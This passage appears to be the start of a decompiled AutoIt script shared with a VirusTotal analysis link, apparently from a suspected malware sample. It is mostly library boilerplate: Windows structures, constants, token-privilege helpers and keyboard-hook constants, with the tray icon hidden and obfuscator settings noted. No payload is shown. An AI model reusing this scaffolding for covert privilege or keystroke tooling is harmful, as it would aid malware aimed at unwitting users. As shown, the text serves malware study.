https://www.virustotal.com/en/file/0107ce3135ca2ae9d4021f6b1a0e8aa60fa373b55f6c0b6be9f652ac5eb6c6ad/analysis/ #NoTrayIcon #Region #AutoIt3Wrapper_UseUpx=n #Obfuscator_Parameters=/cs /cn /striponly #EndRegion Global Const $tagpoint = "long X;long Y" Global Const $tagrect = "long Left;long Top;long Right;long Bottom" Global Const $tagsize = "long X;long Y" Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight" Global Const $tagfiletime = "dword Lo;dword Hi" Global Const $tagsystemtime = "word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds" Global Const $tagtime_zone_information = "long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias" Global Const $tagnmhdr = "hwnd hWndFrom;uint_ptr IDFrom;INT Code" Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param" Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;ptr szText" Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;ptr szText;int Why" Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param" Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid" Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]" Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;long SizeX;long SizeY" Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags" Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset" Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved" Global Const $taggdipencoderparam = "byte GUID[16];dword Count;dword Type;ptr Values" Global Const $taggdipencoderparams = "dword Count;byte Params[0]" Global Const $taggdiprectf = "float X;float Y;float Width;float Height" Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs" Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc" Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask" Global Const $taggdippencoderparams = "dword Count;byte Params[0]" Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State" Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam" Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem" Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1" Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value" Global Const $taglvfindinfo = "uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction" Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem" Global Const $taglvitem = "uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns" Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "long ActionX;long ActionY;lparam Param" Global Const $tagnmlvcustomdraw = $tagnmhdr & ";dword dwDrawStage;handle hdc;long Left;long Top;long Right;long Bottom;" & "dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;long TextLeft;long TextTop;long TextRight;long TextBottom;uint uAlign" Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem Global Const $tagnmlvfinditem = $tagnmhdr & ";" & $taglvfindinfo Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam" Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags" Global Const $tagnmlvkeydown = $tagnmhdr & ";align 1;word VKey;uint Flags" Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY" Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span" Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet" Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds" Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState" Global Const $tagnmselchange = $tagnmhdr & ";word BegYear;word BegMonth;word BegDOW;word BegDay;" & "word BegHour;word BegMinute;word BegSecond;word BegMSeconds;word EndYear;word EndMonth;word EndDOW;" & "word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds" Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result" Global Const $tagnmtckeydown = $tagnmhdr & ";word VKey;uint Flags" Global Const $tagtvitem = "uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param" Global Const $tagtvitemex = $tagtvitem & ";int Integral" Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;uint NewMask;handle NewhItem;" & "uint NewState;uint NewStateMask;ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;" & "lparam NewParam;long PointX;long PointY" Global Const $tagnmtvcustomdraw = $tagnmhdr & ";dword DrawStage;handle HDC;long Left;long Top;long Right;long Bottom;" & "dword_ptr ItemSpec;uint ItemState;lparam ItemParam;dword ClrText;dword ClrTextBk;int Level" Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam" Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item" Global Const $tagnmtvkeydown = $tagnmhdr & ";word VKey;uint Flags" Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo" Global Const $tagtoken_privileges = "dword Count;int64 LUID;dword Attributes" Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData" Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem" Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader" Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak" Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;" & "long ActualLeft;long ActualTop;long ActualRight;long ActualBottom" Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;laram lParam" Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM" Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;long CLeft;long CTop;long CRight;long CBottom;" & "long BLeft;long BTop;long BRight;long BBottom" Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow" Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "int iBitmap;int idCommand;byte fsState;byte fsStyle;align;dword_ptr dwData;int_ptr iString" & ";int cchText;ptr pszText;" & $tagrect Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags" Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;align;dword_ptr Param;int_ptr String" Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax" Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider" Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;dword Offset;dword OffsetHigh;handle hEvent" Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx" Global Const $tagbitmapinfo = "dword Size;long Width;long Height;word Planes;word BitCount;dword Compression;dword SizeImage;" & "long XPelsPerMeter;long YPelsPerMeter;dword ClrUsed;dword ClrImportant;dword RGBQuad" Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format" Global Const $tagguid = "dword Data1;word Data2;word Data3;byte Data4[8]" Global Const $tagwindowplacement = "uint length; uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]" Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags" Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos" Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]" Global Const $taglogfont = "long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32]" Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo" Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID" Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError" Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle" Global Const $tagwin32_find_data = "dword dwFileAttributes; dword ftCreationTime[2]; dword ftLastAccessTime[2]; dword ftLastWriteTime[2]; dword nFileSizeHigh; dword nFileSizeLow; dword dwReserved0; dword dwReserved1; wchar cFileName[260]; wchar cAlternateFileName[14]" Global Const $fc_nooverwrite = 0 Global Const $fc_overwrite = 1 Global Const $ft_modified = 0 Global Const $ft_created = 1 Global Const $ft_accessed = 2 Global Const $fo_read = 0 Global Const $fo_append = 1 Global Const $fo_overwrite = 2 Global Const $fo_binary = 16 Global Const $fo_unicode = 32 Global Const $fo_utf16_le = 32 Global Const $fo_utf16_be = 64 Global Const $fo_utf8 = 128 Global Const $fo_utf8_nobom = 256 Global Const $eof = -1 Global Const $fd_filemustexist = 1 Global Const $fd_pathmustexist = 2 Global Const $fd_multiselect = 4 Global Const $fd_promptcreatenew = 8 Global Const $fd_promptoverwrite = 16 Global Const $create_new = 1 Global Const $create_always = 2 Global Const $open_existing = 3 Global Const $open_always = 4 Global Const $truncate_existing = 5 Global Const $invalid_set_file_pointer = -1 Global Const $file_begin = 0 Global Const $file_current = 1 Global Const $file_end = 2 Global Const $file_attribute_readonly = 1 Global Const $file_attribute_hidden = 2 Global Const $file_attribute_system = 4 Global Const $file_attribute_directory = 16 Global Const $file_attribute_archive = 32 Global Const $file_attribute_device = 64 Global Const $file_attribute_normal = 128 Global Const $file_attribute_temporary = 256 Global Const $file_attribute_sparse_file = 512 Global Const $file_attribute_reparse_point = 1024 Global Const $file_attribute_compressed = 2048 Global Const $file_attribute_offline = 4096 Global Const $file_attribute_not_content_indexed = 8192 Global Const $file_attribute_encrypted = 16384 Global Const $file_share_read = 1 Global Const $file_share_write = 2 Global Const $file_share_delete = 4 Global Const $generic_all = 268435456 Global Const $generic_execute = 536870912 Global Const $generic_write = 1073741824 Global Const $generic_read = -2147483648 Global Const $error_no_token = 1008 Global Const $se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege" Global Const $se_audit_name = "SeAuditPrivilege" Global Const $se_backup_name = "SeBackupPrivilege" Global Const $se_change_notify_name = "SeChangeNotifyPrivilege" Global Const $se_create_global_name = "SeCreateGlobalPrivilege" Global Const $se_create_pagefile_name = "SeCreatePagefilePrivilege" Global Const $se_create_permanent_name = "SeCreatePermanentPrivilege" Global Const $se_create_token_name = "SeCreateTokenPrivilege" Global Const $se_debug_name = "SeDebugPrivilege" Global Const $se_enable_delegation_name = "SeEnableDelegationPrivilege" Global Const $se_impersonate_name = "SeImpersonatePrivilege" Global Const $se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege" Global Const $se_increase_quota_name = "SeIncreaseQuotaPrivilege" Global Const $se_load_driver_name = "SeLoadDriverPrivilege" Global Const $se_lock_memory_name = "SeLockMemoryPrivilege" Global Const $se_machine_account_name = "SeMachineAccountPrivilege" Global Const $se_manage_volume_name = "SeManageVolumePrivilege" Global Const $se_prof_single_process_name = "SeProfileSingleProcessPrivilege" Global Const $se_remote_shutdown_name = "SeRemoteShutdownPrivilege" Global Const $se_restore_name = "SeRestorePrivilege" Global Const $se_security_name = "SeSecurityPrivilege" Global Const $se_shutdown_name = "SeShutdownPrivilege" Global Const $se_sync_agent_name = "SeSyncAgentPrivilege" Global Const $se_system_environment_name = "SeSystemEnvironmentPrivilege" Global Const $se_system_profile_name = "SeSystemProfilePrivilege" Global Const $se_systemtime_name = "SeSystemtimePrivilege" Global Const $se_take_ownership_name = "SeTakeOwnershipPrivilege" Global Const $se_tcb_name = "SeTcbPrivilege" Global Const $se_unsolicited_input_name = "SeUnsolicitedInputPrivilege" Global Const $se_undock_name = "SeUndockPrivilege" Global Const $se_privilege_enabled_by_default = 1 Global Const $se_privilege_enabled = 2 Global Const $se_privilege_removed = 4 Global Const $se_privilege_used_for_access = -2147483648 Global Const $tokenuser = 1 Global Const $tokengroups = 2 Global Const $tokenprivileges = 3 Global Const $tokenowner = 4 Global Const $tokenprimarygroup = 5 Global Const $tokendefaultdacl = 6 Global Const $tokensource = 7 Global Const $tokentype = 8 Global Const $tokenimpersonationlevel = 9 Global Const $tokenstatistics = 10 Global Const $tokenrestrictedsids = 11 Global Const $tokensessionid = 12 Global Const $tokengroupsandprivileges = 13 Global Const $tokensessionreference = 14 Global Const $tokensandboxinert = 15 Global Const $tokenauditpolicy = 16 Global Const $tokenorigin = 17 Global Const $tokenelevationtype = 18 Global Const $tokenlinkedtoken = 19 Global Const $tokenelevation = 20 Global Const $tokenhasrestrictions = 21 Global Const $tokenaccessinformation = 22 Global Const $tokenvirtualizationallowed = 23 Global Const $tokenvirtualizationenabled = 24 Global Const $tokenintegritylevel = 25 Global Const $tokenuiaccess = 26 Global Const $tokenmandatorypolicy = 27 Global Const $tokenlogonsid = 28 Global Const $token_assign_primary = 1 Global Const $token_duplicate = 2 Global Const $token_impersonate = 4 Global Const $token_query = 8 Global Const $token_query_source = 16 Global Const $token_adjust_privileges = 32 Global Const $token_adjust_groups = 64 Global Const $token_adjust_default = 128 Global Const $token_adjust_sessionid = 256 Func _winapi_getlasterror($curerr = @error, $curext = @extended) Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError") Return SetError($curerr, $curext, $aresult[0]) EndFunc Func _winapi_setlasterror($ierrcode, $curerr = @error, $curext = @extended) DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrcode) Return SetError($curerr, $curext) EndFunc Func _security__adjusttokenprivileges($htoken, $fdisableall, $pnewstate, $ibufferlen, $pprevstate = 0, $prequired = 0) Local $aresult = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $fdisableall, "ptr", $pnewstate, "dword", $ibufferlen, "ptr", $pprevstate, "ptr", $prequired) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _security__getaccountsid($saccount, $ssystem = "") Local $aacct = _security__lookupaccountname($saccount, $ssystem) If @error Then Return SetError(@error, 0, 0) Return _security__stringsidtosid($aacct[0]) EndFunc Func _security__getlengthsid($psid) If NOT _security__isvalidsid($psid) Then Return SetError(-1, 0, 0) Local $aresult = DllCall("advapi32.dll", "dword", "GetLengthSid", "ptr", $psid) If @error Then Return SetError(@error, @extended, 0) Return $aresult[0] EndFunc Func _security__gettokeninformation($htoken, $iclass) Local $aresult = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "ptr", 0, "dword", 0, "dword*", 0) If @error Then Return SetError(@error, @extended, 0) If NOT $aresult[0] Then Return 0 Local $tbuffer = DllStructCreate("byte[" & $aresult[5] & "]") Local $pbuffer = DllStructGetPtr($tbuffer) $aresult = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "ptr", $pbuffer, "dword", $aresult[5], "dword*", 0) If @error Then Return SetError(@error, @extended, 0) If NOT $aresult[0] Then Return 0 Return $tbuffer EndFunc Func _security__impersonateself($ilevel = 2) Local $aresult = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _security__isvalidsid($psid) Local $aresult = DllCall("advapi32.dll", "bool", "IsValidSid", "ptr", $psid) If @error Then Return SetError(@error, @extended, False) Return $aresult[0] EndFunc Func _security__lookupaccountname($saccount, $ssystem = "") Local $tdata = DllStructCreate("byte SID[256]") Local $psid = DllStructGetPtr($tdata, "SID") Local $aresult = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "ptr", $psid, "dword*", 256, "wstr", "", "dword*", 256, "int*", 0) If @error Then Return SetError(@error, @extended, 0) If NOT $aresult[0] Then Return 0 Local $aacct[3] $aacct[0] = _security__sidtostringsid($psid) $aacct[1] = $aresult[5] $aacct[2] = $aresult[7] Return $aacct EndFunc Func _security__lookupaccountsid($vsid) Local $psid, $aacct[3] If IsString($vsid) Then Local $tsid = _security__stringsidtosid($vsid) $psid = DllStructGetPtr($tsid) Else $psid = $vsid EndIf If NOT _security__isvalidsid($psid) Then Return SetError(-1, 0, 0) Local $aresult = DllCall("advapi32.dll", "bool", "LookupAccountSidW", "ptr", 0, "ptr", $psid, "wstr", "", "dword*", 256, "wstr", "", "dword*", 256, "int*", 0) If @error Then Return SetError(@error, @extended, 0) If NOT $aresult[0] Then Return 0 Local $aacct[3] $aacct[0] = $aresult[3] $aacct[1] = $aresult[5] $aacct[2] = $aresult[7] Return $aacct EndFunc Func _security__lookupprivilegevalue($ssystem, $sname) Local $aresult = DllCall("advapi32.dll", "int", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0) If @error Then Return SetError(@error, @extended, 0) Return SetError(0, $aresult[0], $aresult[3]) EndFunc Func _security__openprocesstoken($hprocess, $iaccess) Local $aresult = DllCall("advapi32.dll", "int", "OpenProcessToken", "handle", $hprocess, "dword", $iaccess, "ptr", 0) If @error Then Return SetError(@error, @extended, 0) Return SetError(0, $aresult[0], $aresult[3]) EndFunc Func _security__openthreadtoken($iaccess, $hthread = 0, $fopenasself = False) If $hthread = 0 Then $hthread = DllCall("kernel32.dll", "handle", "GetCurrentThread") If @error Then Return SetError(@error, @extended, 0) Local $aresult = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread[0], "dword", $iaccess, "int", $fopenasself, "ptr*", 0) If @error Then Return SetError(@error, @extended, 0) Return SetError(0, $aresult[0], $aresult[4]) EndFunc Func _security__openthreadtokenex($iaccess, $hthread = 0, $fopenasself = False) Local $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself) If $htoken = 0 Then If _winapi_getlasterror() <> $error_no_token Then Return SetError(-3, _winapi_getlasterror(), 0) If NOT _security__impersonateself() Then Return SetError(-1, _winapi_getlasterror(), 0) $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself) If $htoken = 0 Then Return SetError(-2, _winapi_getlasterror(), 0) EndIf Return $htoken EndFunc Func _security__setprivilege($htoken, $sprivilege, $fenable) Local $iluid = _security__lookupprivilegevalue("", $sprivilege) If $iluid = 0 Then Return SetError(-1, 0, False) Local $tcurrstate = DllStructCreate($tagtoken_privileges) Local $pcurrstate = DllStructGetPtr($tcurrstate) Local $icurrstate = DllStructGetSize($tcurrstate) Local $tprevstate = DllStructCreate($tagtoken_privileges) Local $pprevstate = DllStructGetPtr($tprevstate) Local $iprevstate = DllStructGetSize($tprevstate) Local $trequired = DllStructCreate("int Data") Local $prequired = DllStructGetPtr($trequired) DllStructSetData($tcurrstate, "Count", 1) DllStructSetData($tcurrstate, "LUID", $iluid) If NOT _security__adjusttokenprivileges($htoken, False, $pcurrstate, $icurrstate, $pprevstate, $prequired) Then Return SetError(-2, @error, False) DllStructSetData($tprevstate, "Count", 1) DllStructSetData($tprevstate, "LUID", $iluid) Local $iattributes = DllStructGetData($tprevstate, "Attributes") If $fenable Then $iattributes = BitOR($iattributes, $se_privilege_enabled) Else $iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled)) EndIf DllStructSetData($tprevstate, "Attributes", $iattributes) If NOT _security__adjusttokenprivileges($htoken, False, $pprevstate, $iprevstate, $pcurrstate, $prequired) Then Return SetError(-3, @error, False) Return True EndFunc Func _security__sidtostringsid($psid) If NOT _security__isvalidsid($psid) Then Return SetError(-1, 0, "") Local $aresult = DllCall("advapi32.dll", "int", "ConvertSidToStringSidW", "ptr", $psid, "ptr*", 0) If @error Then Return SetError(@error, @extended, "") If NOT $aresult[0] Then Return "" Local $tbuffer = DllStructCreate("wchar Text[256]", $aresult[2]) Local $ssid = DllStructGetData($tbuffer, "Text") DllCall("Kernel32.dll", "ptr", "LocalFree", "ptr", $aresult[2]) Return $ssid EndFunc Func _security__sidtypestr($itype) Switch $itype Case 1 Return "User" Case 2 Return "Group" Case 3 Return "Domain" Case 4 Return "Alias" Case 5 Return "Well Known Group" Case 6 Return "Deleted Account" Case 7 Return "Invalid" Case 8 Return "Invalid" Case 9 Return "Computer" Case Else Return "Unknown SID Type" EndSwitch EndFunc Func _security__stringsidtosid($ssid) Local $aresult = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0) If @error Then Return SetError(@error, @extended, 0) If NOT $aresult[0] Then Return 0 Local $isize = _security__getlengthsid($aresult[2]) Local $tbuffer = DllStructCreate("byte Data[" & $isize & "]", $aresult[2]) Local $tsid = DllStructCreate("byte Data[" & $isize & "]") DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data")) DllCall("kernel32.dll", "ptr", "LocalFree", "ptr", $aresult[2]) Return $tsid EndFunc Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult") Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam) If @error Then Return SetError(@error, @extended, "") If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn] Return $aresult EndFunc Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult") Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam) If @error Then Return SetError(@error, @extended, "") If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn] Return $aresult EndFunc Global $__gainprocess_winapi[64][2] = [[0, 0]] Global $__gawinlist_winapi[64][2] = [[0, 0]] Global Const $__winapiconstant_wm_setfont = 48 Global Const $__winapiconstant_fw_normal = 400 Global Const $__winapiconstant_default_charset = 1 Global Const $__winapiconstant_out_default_precis = 0 Global Const $__winapiconstant_clip_default_precis = 0 Global Const $__winapiconstant_default_quality = 0 Global Const $__winapiconstant_format_message_allocate_buffer = 256 Global Const $__winapiconstant_format_message_from_system = 4096 Global Const $__winapiconstant_logpixelsx = 88 Global Const $__winapiconstant_logpixelsy = 90 Global Const $hgdi_error = Ptr(-1) Global Const $invalid_handle_value = Ptr(-1) Global Const $clr_invalid = -1 Global Const $__winapiconstant_flashw_caption = 1 Global Const $__winapiconstant_flashw_tray = 2 Global Const $__winapiconstant_flashw_timer = 4 Global Const $__winapiconstant_flashw_timernofg = 12 Global Const $__winapiconstant_gw_hwndnext = 2 Global Const $__winapiconstant_gw_child = 5 Global Const $__winapiconstant_di_mask = 1 Global Const $__winapiconstant_di_image = 2 Global Const $__winapiconstant_di_normal = 3 Global Const $__winapiconstant_di_compat = 4 Global Const $__winapiconstant_di_defaultsize = 8 Global Const $__winapiconstant_di_nomirror = 16 Global Const $__winapiconstant_display_device_attached_to_desktop = 1 Global Const $__winapiconstant_display_device_primary_device = 4 Global Const $__winapiconstant_display_device_mirroring_driver = 8 Global Const $__winapiconstant_display_device_vga_compatible = 16 Global Const $__winapiconstant_display_device_removable = 32 Global Const $__winapiconstant_display_device_modespruned = 134217728 Global Const $null_brush = 5 Global Const $null_pen = 8 Global Const $black_brush = 4 Global Const $dkgray_brush = 3 Global Const $dc_brush = 18 Global Const $gray_brush = 2 Global Const $hollow_brush = $null_brush Global Const $ltgray_brush = 1 Global Const $white_brush = 0 Global Const $black_pen = 7 Global Const $dc_pen = 19 Global Const $white_pen = 6 Global Const $ansi_fixed_font = 11 Global Const $ansi_var_font = 12 Global Const $device_default_font = 14 Global Const $default_gui_font = 17 Global Const $oem_fixed_font = 10 Global Const $system_font = 13 Global Const $system_fixed_font = 16 Global Const $default_palette = 15 Global Const $mb_precomposed = 1 Global Const $mb_composite = 2 Global Const $mb_useglyphchars = 4 Global Const $ulw_alpha = 2 Global Const $ulw_colorkey = 1 Global Const $ulw_opaque = 4 Global Const $wh_callwndproc = 4 Global Const $wh_callwndprocret = 12 Global Const $wh_cbt = 5 Global Const $wh_debug = 9 Global Const $wh_foregroundidle = 11 Global Const $wh_getmessage = 3 Global Const $wh_journalplayback = 1 Global Const $wh_journalrecord = 0 Global Const $wh_keyboard = 2 Global Const $wh_keyboard_ll = 13 Global Const $wh_mouse = 7 Global Const $wh_mouse_ll = 14 Global Const $wh_msgfilter = -1 Global Const $wh_shell = 10 Global Const $wh_sysmsgfilter = 6 Global Const $wpf_asyncwindowplacement = 4 Global Const $wpf_restoretomaximized = 2 Global Const $wpf_setminposition = 1 Global Const $kf_extended = 256 Global Const $kf_altdown = 8192 Global Const $kf_up = 32768 Global Const $llkhf_extended = BitShift($kf_extended, 8) Global Const $llkhf_injected = 16 Global Const $llkhf_altdown = BitShift($kf_altdown, 8) Global Const $llkhf_up = BitShift($kf_up, 8) Global Const $ofn_allowmultiselect = 512 Global Const $ofn_createprompt = 8192 Global Const $ofn_dontaddtorecent = 33554432 Global Const $ofn_enablehook = 32 Global Const $ofn_enableincludenotify = 4194304 Global Const $ofn_enablesizing = 8388608 Global Const $ofn_enabletemplate = 64 Global Const $ofn_enabletemplatehandle = 128 Global Const $ofn_explorer = 524288 Global Const $ofn_extensiondifferent = 1024 